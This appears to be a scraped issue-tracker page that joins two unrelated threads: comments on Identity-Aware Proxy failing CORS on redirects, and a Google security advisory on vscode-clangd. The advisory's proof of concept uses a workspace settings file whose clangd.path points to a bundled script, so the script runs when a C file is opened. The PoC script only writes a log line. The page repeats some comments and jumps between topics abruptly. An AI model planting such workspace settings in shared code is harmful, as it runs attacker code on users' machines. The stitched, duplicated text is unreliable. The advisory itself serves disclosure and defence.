Fixed
Status Update
No update yet.
Comments
ma...@google.com
Hello
This feature request has been forwarded to the product management team. You can track this thread to post any further comments or check the updates regarding this feature request. However we can't provide you with any ETA at this point.
This feature request has been forwarded to the product management team. You can track this thread to post any further comments or check the updates regarding this feature request. However we can't provide you with any ETA at this point.
sa...@google.com
+1, We cannot create AJAX requests to APIs on a subdomain that are behind IAP because of this. The IAP seems to ignore the "Allowed JavaScript Origins" in the OAuth Client ID settings, it should be sending an Access-Control-Allow-Origin: <list of allowed origins> on the 302 redirect.
Example:
Failed to loadhttps://api.staging.example.com/endpoint : Redirect from 'https://api.staging.example.com/endpoint ' to 'https://accounts.google.com/o/oauth2/v2/auth?client_id=.. .' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'https://staging.example.com ' is therefore not allowed access.
Example:
Failed to load
as...@google.com
We ran into the same problem, which seems to make IAP unusable when serving an API.
Hopefully this can be solved quickly
(GCP support ticket [#16518176])
Hopefully this can be solved quickly
(GCP support ticket [#16518176])
sa...@google.com
Hi, I also ran into the problem of CORS not supporting IAP. Here's my workaround, in case anyone else finds it useful.
In the same GCP project I have two App Engine services:
- A UI server
- An API server
The UI server makes calls to the API server. To get around the CORS problem, I use Routing with a dispatch file:
https://cloud.google.com/appengine/docs/standard/python/how-requests-are-routed#routing_with_a_dispatch_file
Normally, when the UI server wants to call API server, it callsapi-dot-MY_PROJECT.appspot.com
In this workaround, the UI server calls itself with a specified path ("/api"):MY_PROJECT.appspot.com/api
Since the UI server is calling itself, CORS does not apply.
In the same GCP project I have two App Engine services:
- A UI server
- An API server
The UI server makes calls to the API server. To get around the CORS problem, I use Routing with a dispatch file:
Normally, when the UI server wants to call API server, it calls
In this workaround, the UI server calls itself with a specified path ("/api"):
Since the UI server is calling itself, CORS does not apply.
sa...@google.com
:+1:
ma...@google.com
+1
ma...@google.com
+1. The dispatch rules workaround is helpful but obviously not ideal and doesn't handle Kubernetes use cases.
ma...@google.com
+1. This is a big problem for us. We're trying to hit our API server (which is behind IAP) from embedded JS hosted on a domain that we trust but do not control. Currently impossible even with the suggested workaround.
as...@google.com
I don't see any reason to keep it restricted
ma...@google.com
Unrestricting.
Description
Ash Fox - Google Security Team
Summary
A workspace may specify the path that vscode-clangd (
Severity
Medium - This issue is considered to be medium severity as it is effectively remote code execution with the caveat that it requires a victim to open an attacker provided (or modified) workspace file or source tree. This can be exploited through social engineering, a supply chain attack or through for example typo-squatting on popular github repositories. This does not require the victim to compile or run any code in order to be compromised.
Details
The following settings result in a binary included within the workspace being executed upon opening code within the workspace
{
“clangd.path”: “${workspaceRoot}/.bin/clangd”
}
Verified on
Visual Studio Code 1.53.0
Clangd Extension 0.1.9
Reproduction steps
Create the following workspace structure
./poc
./poc/helloworld.c
./poc/.bin/clangd
./poc/.vscode
./poc/.vscode/settings.json
./poc/.bin/clangd contains
#!/bin/sh
date >> /tmp/clangd-ext-pwn-log
./poc/.vscode/settings.json contains
{
“clangd.path”: “${workspaceRoot}/.bin/clangd”
}
Ensure that ./poc/.bin/clangd is executable (chmod +x ./poc/.bin/clangd)
Open the directory structure with
code ./poc
Click on the file ‘helloworld.c’ within vscode (required to invoke the clangd extension)
Run
cat /tmp/clangd-ext-pwn-log
Recommendations
VScode should ask the user to trust the settings from an untrusted workspace or alternatively not permit them to be specified by the workspace (ie settings scoped to machine, not workspace).